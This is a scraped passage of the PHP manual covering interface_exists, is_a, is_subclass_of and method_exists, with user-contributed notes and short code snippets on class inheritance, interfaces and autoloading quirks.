birkholz at web dot de 07-Oct-2005 02:01
tim at correctclick dot com wrote:
<quote>
A slightly more cryptic but faster get_ancestors function:

<?php
function get_ancestors ($class) {

     for ($classes[] = $class; $class = get_parent_class ($class); $classes[] = $class);
     return $classes;

}
?>
(The second part of the for is implicitly testing for $class != "").  Recursion is considerably slower than looping, so you probably want to use this function.

Hope someone finds it useful.
</quote>

I would prefer this version, because it will create no duplicates:
<?php
function get_ancestors ($class) {
    $classes = array($class);
    while($class = get_parent_class($class)) { $classes[] = $class; }
    return $classes;
}

Greets, Dennis
?>
matt-php at DONT-SPAM-ME dot bitdifferent dot com 01-Nov-2004 04:52
PHP (4 at least, dunno about 5) stores classnames in lower case, so:

<?PHP

class Foo
{
}

class Bar extends Foo
{
}

echo get_parent_class('Bar');

echo "\n";

echo get_parent_class('bar');

?>

will output:

foo
foo
radu dot rendec at ines dot ro 07-Apr-2004 03:44
If the argument obj is a string and the class is not defined, then the function returns FALSE.

If the argument obj is an object created from a class with no ancestors (or a string representing a class with no ancestors), then the function returns FALSE.
tim at correctclick dot com 06-Apr-2003 04:48
A slightly more cryptic but faster get_ancestors function:

function get_ancestors ($class) {

      for ($classes[] = $class; $class = get_parent_class ($class); $classes[] = $class);
      return $classes;

}

(The second part of the for is implicitly testing for $class != "").  Recursion is considerably slower than looping, so you probably want to use this function.

Hope someone finds it useful.
eric dot brison at anakeen dot com 28-Jan-2002 01:14
To return all ancestors class of an object

function get_ancestors_class($classname) {
  $father = get_parent_class($classname);

  if ($father != "") {

    $ancestors = get_ancestors_class($father);
    $ancestors[] = $father;
  }
  return $ancestors;
}

example :
-----------
Class C  {

}

Class B extends C {

}

Class A extends B {

}
print_r (get_ancestors_class("a"));
print_r (get_ancestors_class("b"));

example result :
---------------
Array
(
    [0] => c
    [1] => b
)
Array
(
    [0] => c
)


Checks if the interface has been defined

  • « get_parent_class
  • is_a »
  • PHP Manual
  • Classes/Object Functions
  • Checks if the interface has been defined

interface_exists

(PHP 5 >= 5.0.2)

interface_exists — Checks if the interface has been defined

Description

bool interface_exists ( string $interface_name [, bool $autoload = true ] )

Checks if the given interface has been defined.

Parameters

interface_name

The interface name

autoload

Whether to call __autoload or not by default.

Return Values

Returns TRUE if the interface given by interface_name has been defined, FALSE otherwise.

Examples

Example #1 interface_exists() example

<?php
// Check the interface exists before trying to use it
if (interface_exists('MyInterface')) {
    class MyClass implements MyInterface
    {
        // Methods
    }
}

?>

See Also

  • get_declared_interfaces() - Returns an array of all declared interfaces
  • class_implements() - Return the interfaces which are implemented by the given class
  • class_exists() - Checks if the class has been defined

User Contributed Notes

maxim at inbox dot ru 01-Oct-2012 07:40
If you want to check for included interface and you already register spl autoloader - it will crash. Becassue autoloader trying to load `string` and he doesnt matter is it class or not.
Iv found several ways :
1 - unregister AL - -> check for Ifaces - -> register Autoloader

2 - $ifaces = array_flip(get_declared_interfaces());
 if($ifaces["MyIface"]) // empty // isset .

Interfaces are not bad, you can build correct geomentry of system , with validation by funcs / vars / const .
Also they are good to storage variables <?php
 ROOT::THEMES ; ROOT::LOC ; ?> . Much faster then Define, but you cant put algorithms inside, only complite strings / __file__ / etc.
nils dot rocine at gmail dot com 27-Oct-2011 03:35
A little note on namespaces that may be obvious to some, but was not obvious to me.

Although you can make the below statement when the statement is in the same namespace as the interface/class declaration MyInterface...
<?php
$foo instanceof MyInterface
?>

Making use of the interface_exists, or class_exists functions, you must enter the full namespaced interface name like so (even if the function call is from the same namespace.)
<?php
interface_exists(__NAMESPACE__ . '\MyInterface', false);
?>
andrey at php dot net 24-Oct-2004 01:40
As far as I remember interface_exists() was added in 5.0.2 . In 5.0.0 and 5.0.1 class_exists() used to return TRUE when asked for a existing interface. Starting 5.0.2 class_exists() doesn't do that anymore.


Checks if the object is of this class or has this class as one of its parents

  • « interface_exists
  • is_subclass_of »
  • PHP Manual
  • Classes/Object Functions
  • Checks if the object is of this class or has this class as one of its parents

is_a

(PHP 4 >= 4.2.0, PHP 5)

is_a — Checks if the object is of this class or has this class as one of its parents

Description

bool is_a ( object $object , string $class_name [, bool $allow_string = FALSE ] )

Checks if the given object is of this class or has this class as one of its parents.

Parameters

object

The tested object

class_name

The class name

allow_string

If this parameter set to FALSE, string class name as object is not allowed. This also prevents from calling autoloader if the class doesn't exist.

Return Values

Returns TRUE if the object is of this class or has this class as one of its parents, FALSE otherwise.

Changelog

Version | Description
5.3.9 | Added allow_string parameter
5.3.0 | This function is no longer deprecated, and will therefore no longer throw E_STRICT warnings.
5.0.0 | This function became deprecated in favour of the instanceof operator. Calling this function will result in an E_STRICT warning.

Examples

Example #1 is_a() example

<?php
// define a class
class WidgetFactory
{
  var $oink = 'moo';
}

// create a new object
$WF = new WidgetFactory();

if (is_a($WF, 'WidgetFactory')) {
  echo "yes, \$WF is still a WidgetFactory\n";
}
?>

Example #2 Using the instanceof operator in PHP 5

<?php
if ($WF instanceof WidgetFactory) {
    echo 'Yes, $WF is a WidgetFactory';
}
?>

See Also

  • get_class() - Returns the name of the class of an object
  • get_parent_class() - Retrieves the parent class name for object or class
  • is_subclass_of() - Checks if the object has this class as one of its parents

User Contributed Notes

eitan at mosenkis dot net 12-Jan-2012 10:09
As of PHP 5.3.9, is_a() seems to return false when passed a string for the first argument. Instead, use is_subclass_of() and, if necessary for your purposes, also check if the two arguments are equal, since is_subclass_of('foo', 'foo') will return false, while is_a('foo', 'foo') used to return true.
Aron Budinszky 07-Sep-2011 01:21
Be careful! Starting in PHP 5.3.7 the behavior of is_a() has changed slightly: when calling is_a() with a first argument that is not an object, __autoload() is triggered!

In practice, this means that calling is_a('23', 'User'); will trigger __autoload() on "23". Previously, the above statement simply returned 'false'.

More info can be found here:
https://bugs.php.net/bug.php?id=55475

Whether this change is considered a bug and whether it will be reverted or kept in future versions is yet to be determined, but nevertheless it is how it is, for now...
p dot scheit at zweipol dot net 16-Jan-2007 10:44
At least in PHP 5.1.6 this works as well with Interfaces.

<?php
interface test {
  public function A();
}

class TestImplementor implements test {
  public function A () {
    print "A";
  }
}

$testImpl = new TestImplementor();

var_dump(is_a($testImpl,'test'));
?>

will return true
cesoid at yahoo dot com 06-Oct-2005 04:01
is_a returns TRUE for instances of children of the class.

For example:

class Animal
{}

class Dog extends Animal
{}

$test = new Dog();

In this example is_a($test, "Animal") would evaluate to TRUE as well as is_a($test, "Dog").

This seemed intuitive to me, but did not seem to be documented.


Checks if the object has this class as one of its parents

  • « is_a
  • method_exists »
  • PHP Manual
  • Classes/Object Functions
  • Checks if the object has this class as one of its parents

is_subclass_of

(PHP 4, PHP 5)

is_subclass_of — Checks if the object has this class as one of its parents

Description

bool is_subclass_of ( mixed $object , string $class_name [, bool $allow_string = TRUE ] )

Checks if the given object has the class class_name as one of its parents.

Parameters

object

A class name or an object instance. No error is generated if the class does not exist.

class_name

The class name

allow_string

If this parameter set to false, string class name as object is not allowed. This also prevents from calling autoloader if the class doesn't exist.

Return Values

This function returns TRUE if the object object, belongs to a class which is a subclass of class_name, FALSE otherwise.

Changelog

Version | Description
5.3.9 | Added allow_string parameter
5.3.7 | Added support for class_name to work with interfaces
5.0.3 | You may also specify the object parameter as a string (the name of the class)

Examples

Example #1 is_subclass_of() example

<?php
// define a class
class WidgetFactory
{
  var $oink = 'moo';
}

// define a child class
class WidgetFactory_Child extends WidgetFactory
{
  var $oink = 'oink';
}

// create a new object
$WF = new WidgetFactory();
$WFC = new WidgetFactory_Child();

if (is_subclass_of($WFC, 'WidgetFactory')) {
  echo "yes, \$WFC is a subclass of WidgetFactory\n";
} else {
  echo "no, \$WFC is not a subclass of WidgetFactory\n";
}

if (is_subclass_of($WF, 'WidgetFactory')) {
  echo "yes, \$WF is a subclass of WidgetFactory\n";
} else {
  echo "no, \$WF is not a subclass of WidgetFactory\n";
}

// usable only since PHP 5.0.3
if (is_subclass_of('WidgetFactory_Child', 'WidgetFactory')) {
  echo "yes, WidgetFactory_Child is a subclass of WidgetFactory\n";
} else {
  echo "no, WidgetFactory_Child is not a subclass of WidgetFactory\n";
}
?>

The above example will output:

yes, $WFC is a subclass of WidgetFactory
no, $WF is not a subclass of WidgetFactory
yes, WidgetFactory_Child is a subclass of WidgetFactory

Example #2 is_subclass_of() using interface example

<?php
// Define the Interface
interface MyInterface
{
  public function MyFunction();
}

// Define the class implementation of the interface
class MyClass implements MyInterface
{
  public function MyFunction()
  {
    return "MyClass Implements MyInterface!";
  }
}

// Instantiate the object
$my_object = new MyClass;

// Works since 5.3.7

// Test using the object instance of the class
if (is_subclass_of($my_object, 'MyInterface')) {
  echo "Yes, \$my_object is a subclass of MyInterface\n";
} else {
  echo "No, \$my_object is not a subclass of MyInterface\n";
}

// Test using a string of the class name
if (is_subclass_of('MyClass', 'MyInterface')) {
  echo "Yes, MyClass is a subclass of MyInterface\n";
} else {
  echo "No, MyClass is not a subclass of MyInterface\n";
}
?>

The above example will output:

Yes, $my_object is a subclass of MyInterface
Yes, MyClass is a subclass of MyInterface

Notes

Note:

Using this function will use any registered autoloaders if the class is not already known.

See Also

  • get_class() - Returns the name of the class of an object
  • get_parent_class() - Retrieves the parent class name for object or class
  • is_a() - Checks if the object is of this class or has this class as one of its parents
  • class_parents() - Return the parent classes of the given class

User Contributed Notes

nicholas at aquarionics dot com 17-Mar-2009 10:02
This might be useful to someone, so:

If you're using Autoload, you should be aware that this will attempt to autoload $classname if it isn't already loaded. I discovered this when I had something using is_subclass_of inside an error thrown by autoload, which then recursed until it ran out of memory.
Damien Bezborodov 17-Mar-2009 01:55
If you need something similar to is_subclass_of() to determine if a class implements an interface before instantiating it, use reflection:

<?php

interface A_Interface {}
class A implements A_Interface {}

$reflectionA = new ReflectionClass('A');
var_dump(
    $reflectionA->implementsInterface('A_Interface')
);

?>
bool(true)
kostyl_kostyl gav-gav mail point ru 08-Mar-2009 12:08
<?php
interface I {
}
class A implements I {
}
class B extends A  {
}
if (is_subclass_of('A', 'I')) {
    echo 'good<br>';
}
else {
    echo 'bad<br>';
}
if (is_subclass_of('B', 'I')) {
    echo 'good<br>';
}
else {
    echo 'bad<br>';
}
if (is_subclass_of('B', 'A')) {
    echo 'good<br>';
}
else {
    echo 'bad<br>';
}
?>

result:
bad <- you must to describe intermediate class B to be good
good
good
jm 01-Oct-2008 05:02
It would appear that is_subclass_of is case insensitive unlike get_class in php5.
i.e.

<?php
class fooBar {}
class bar extends fooBar {}

assert(get_class(new fooBar()) == "fooBar");
assert(is_subclass_of(new bar(), "foobar") == true);
?>

i run across this while migrating some code from php4 to php5 and the code would only half-the-time break.
Ondra Zizka 13-Oct-2006 02:31
For PHP4:

<?php
/** Returns whether specified class is subclass of the other class. */
function is_subclass($sClass, $sExpectedParentClass){
    do if( $sExpectedParentClass === $sClass ) return true;
    while( false != ($sClass = get_parent_class($sClass)) );
    return false;
}
// Test:
class A {} class B extends A {} class C extends B {} echo (int) is_subclass('C', 'A');
?>
gunniboyh at web dot de 20-May-2006 03:16
is_subclass_of() works also with classes between the class of obj and the superclass.

example:
<?php
class A {};
class B extends A {};
class C extends B {};

$foo=new C();
echo ((is_subclass_of($foo,'A')) ? 'true' : 'false');
?>

echoes 'true' .


Checks if the class method exists

  • « is_subclass_of
  • property_exists »
  • PHP Manual
  • Classes/Object Functions
  • Checks if the class method exists

method_exists

(PHP 4, PHP 5)

method_exists — Checks if the class method exists

Description

bool method_exists ( mixed $object , string $method_name )

Checks if the class method exists in the given object.

Parameters

object

An object instance or a class name

method_name

The method name

Return Values

Returns TRUE if the method given by method_name has been defined for the given object, FALSE otherwise.

Notes

Note:

Using this function will use any registered autoloaders if the class is not already known.

Examples

Example #1 method_exists() example

<?php
$directory = new Directory('.');
var_dump(method_exists($directory,'read'));
?>

The above example will output:

bool(true)

Example #2 Static method_exists() example

<?php
var_dump(method_exists('Directory','read'));
?>

The above example will output:

bool(true)

See Also

  • function_exists() - Return TRUE if the given function has been defined
  • is_callable() - Verify that the contents of a variable can be called as a function
  • class_exists() - Checks if the class has been defined

User Contributed Notes

charleston olaes at gmail no spaces 10-Oct-2014 01:31
I was wondering if caching the the methods in an array would have a faster lookup. So I ran a very simple benchmark using xdebug_time_index() with 10000 iterations on each statement.

using PHP 5.3.13 btw

<?php
// using an actual instance of an object shows 0.10398316383362 secs
method_exist($object, $method);
?>

<?php
// using a string shows 0.12779307365417 secs
method_exist('ClassName', $method);
?>

<?php
$array = array(/*method names with numeric index*/);
// shows 0.10288906097412 secs
in_array($method, $array);
?>

<?php
$assoc = array( /*method name as key and value*/ );
// shows 0.017536878585815 secs
isset( $assoc[$method] );
?>

From the looks of the results, there is very little difference in method_exist and in_array. Isset seems to the fastest and using a string as the first parameter is the slowest.

Please note that the test was done on multiple methods, not just one, the code presented above is to show the results, not the actual test code that ran. Also, this was tested just out of curiosity and I didn't set up a specific environment or used any profiling tools, and it was not meant to be an official benchmark in anyway.
konzertheld at thedomainistheusersname dot de 15-Feb-2013 02:32
Note that prepending the namespace (if any) is required even if the calling class is in the same namespace:

<?php
namespace test;
class foo {
 public function lookup() {
  // will return false
  return method_exists('bar', 'nonsense_method');
 }
}

class bar {
 public function nonsense_method() {
  // will return true
  return method_exists('test\foo', 'lookup');
 }
}
?>
Niels 11-May-2011 09:45
Just to mention it: both method_exists() and is_callable() return true for inherited methods:

<?php
class ParentClass {

   function doParent() { }
}

class ChildClass extends ParentClass { }

$p = new ParentClass();
$c = new ChildClass();

// all return true
var_dump(method_exists($p, 'doParent'));
var_dump(method_exists($c, 'doParent'));

var_dump(is_callable(array($p, 'doParent')));
var_dump(is_callable(array($c, 'doParent')));
?>
mail at bartrail dot de 25-Apr-2011 07:06
Using method_exists inside an object's __call() method can be very usefull if you want to avoid to get a fatal error because of a limit in function nesting or if you are calling methods that dont exist but need to continue in your application:

<?php
class Something
{

    /**
     * Call a method dynamically
     *
     * @param string $method
     * @param array $args
     * @return mixed
     */
    public function __call($method, $args)
    {
        if(method_exists($this, $method)) {
          return call_user_func_array(array($this, $method), $args);
        }else{
          throw new Exception(sprintf('The required method "%s" does not exist for %s', $method, get_class($this)));
        }
    }

}
?>
phoenix at todofixthis dot com 21-Dec-2010 06:13
As noted [elsewhere] method_exists() does not care about the existence of __call(), whereas is_callable() does:

<?php
class Test {
  public function explicit(  ) {
      // ...
  }

  public function __call( $meth, $args ) {
      // ...
  }
}

$Tester = new Test();

var_export(method_exists($Tester, 'anything')); // false
var_export(is_callable(array($Tester, 'anything'))); // true
?>
uramihsayibok, gmail, com 07-Aug-2010 07:09
It wasn't spelled out but could be inferred: method_exists() also works on interfaces.

<?php

var_dump(method_exists("Iterator", "current"));
// bool(true)

?>
Anonymous 08-May-2010 02:20
If you want to check in a class itself if a method is known you may do so with magic variable __CLASS__

<?php

class A{
  __construct($method){
      return method_exists(__CLASS__,$method);
  }

  private function foo(){

  }
}

$test = new A('foo');
//should return true

?>

You might also use the method describe below with <?php in_array() ?> trick but I consider this one here easier and more readable and well, the way it is intended toi be done ;)
admin ( at ) djokodonev dot com 17-Oct-2009 01:30
Hi,

Here is a useful function that  you can use to check classes methods access e.g whether it is public, private or static or both..

here it goes:

<?php
// Example class
class myClass {

    private $private1;

    static $static1;

    public $public1;

    public function publ() {

    }

    private function priv() {

    }

    private static function privstatic() {

    }

    public static function publstatic() {

    }

    static function mytest() {

    }
}

// The function uses the reflection class that is built into PHP!!!
// The purpose is to determine the type of a certain method that exi
function is_class_method($type="public", $method, $class) {
   // $type = mb_strtolower($type);
    $refl = new ReflectionMethod($class, $method);
    switch($type) {
        case "static":
        return $refl->isStatic();
        break;
        case "public":
        return $refl->isPublic();
        break;
        case "private":
        return $refl->isPrivate();
        break;
    }
}
var_dump(is_class_method("static", "privstatic", "myClass")); // true - the method is  private and also static..
var_dump(is_class_method("private", "privstatic", "myClass")); // true - the method is  private and also static..
var_dump(is_class_method("private", "publstatic", "myClass")); // False the methos is public and also static not private
 // you get the idea.. I hope this helps someone..
?>
florin from syneto net 07-Oct-2009 04:34
This function is case-insensitive (as is PHP) and here is the proof:
<?php
class A {
    public function FUNC() { echo '*****'; }
}

$a = new A();
$a->func(); // *****
var_dump(method_exists($a, 'func')); // bool(true)
?>
jp at function dot fi 30-Apr-2006 11:29
As mentioned before, is_callable and method_exists report all methods callable even if they are private/protected and thus actually not callable. So instead of those functions you may use following work-around which reports methods as supposed to.

<?php
class Foo1 {
  public function bar() {
    echo "I'm private Foo1::bar()";
  }
}

class Foo2 {
  private function bar() {
    echo "I'm public Foo2::bar()";
  }
}

$f1=new Foo1;
$f2=new Foo2;

if(is_callable(array($f1,"bar"))) {
    echo "Foo1::bar() is callable";
} else {
    echo "Foo1::bar() isn't callable";
}
if(is_callable(array($f2,"bar"))) {
    echo "Foo2::bar() is callable";
} else {
    echo "Foo2::bar() isn't callable";
}
if(in_array("bar",get_class_methods($f1))) {
    echo "Foo1::bar() is callable";
} else {
    echo "Foo1::bar() isn't callable";
}
if(in_array("bar",get_class_methods($f2))) {
    echo "Foo2::bar() is callable";
} else {
    echo "Foo2::bar() isn't callable";
}

?>

output
Foo1::bar() is callable (correct)
Foo2::bar() is callable (incorrect)
Foo1::bar() is callable (correct)
Foo2::bar() isn't callable (correct)

?>
seufert at gmail dot com 27-Apr-2006 03:27
Just a note that the behaviour of this function changed between version 5.0.x and 5.1.x when using static member functions

Using this code:
<?php
class a {
    static function test() {return "A";}
}
if(method_exists('a','test'))
    print call_user_func(array('a','test'));
else
    print "Nothing";
?>
PHP 5.1.x returns "A"
PHP 5.0.x returns "Nothing"

Im not sure of a workaround for PHP 5.0.x yet.
spam at majiclab dot com 31-Jan-2006 05:33
Both method_exists() and is_callable() return private and protected functions, which, as mentioned below, causes problems for PHP5/OO programming.  You can use get_class_methods() with either an $instance of a class or the 'ClassName' to get only public functions.
daniel at softel dot jp 10-Jan-2006 04:34
Note that in PHP5, method_exists() will sucessfully find *private* methods. This has some OO/data-hiding ramifications.
jpgiot at nospam ifrance.com 06-May-2004 04:42
a little difference :

to find a method of an object (instance of a class)

<?php
if (method_exists($myinstance,'themethod'))
    echo 'ok';
?>

to find a method of a class (using the class name, not the instance of the class!)

<?php
if (is_callable(array('theclassname','themethod')))
    echo 'ok';
?>
Thomas@ThBeckmann 31-Jan-2003 10:47
Though, as Bejamin noted, it's not possible to use the class name in method_exists within the class definition, get_class_methods delivers the method names for a given class name even inside the class. Thus another workaround for the mentioned problem is to use in_array(<method_name>, get_class_methods(<class_name>))
benjamin_ansbach at web dot de 27-Dec-2002 09:49
if you want to check for a method "inside" of a class use:

method_exists($this, 'function_name')

i was a bit confused 'cause i thought i'm only able to check for a method when i got an object like $object_name = new class_name() with:

method_exists($object_name, 'method_name')

small example for those who didn't understood what i mean ( maybe caused by bad english :) ):

<?php

class a {

    function a() {

        if(method_exists($this, 'test'))
            echo 'a::test() exists!';
        else
            echo 'a::test() doesn\'t exists';

    }

    function test() {

        return true;

    }

}

$b = new a();

?>

the output will be: a::test() exists!

maybe this will help someone
j dot metzger at steptown dot com 16-Jan-2002 12:42
call_user_method uses the same mechanism as a normal method call. So you can get the returned values as well in this way.

$pagetext=call_user_method($method,$object_call);

All information is then in $pagetext.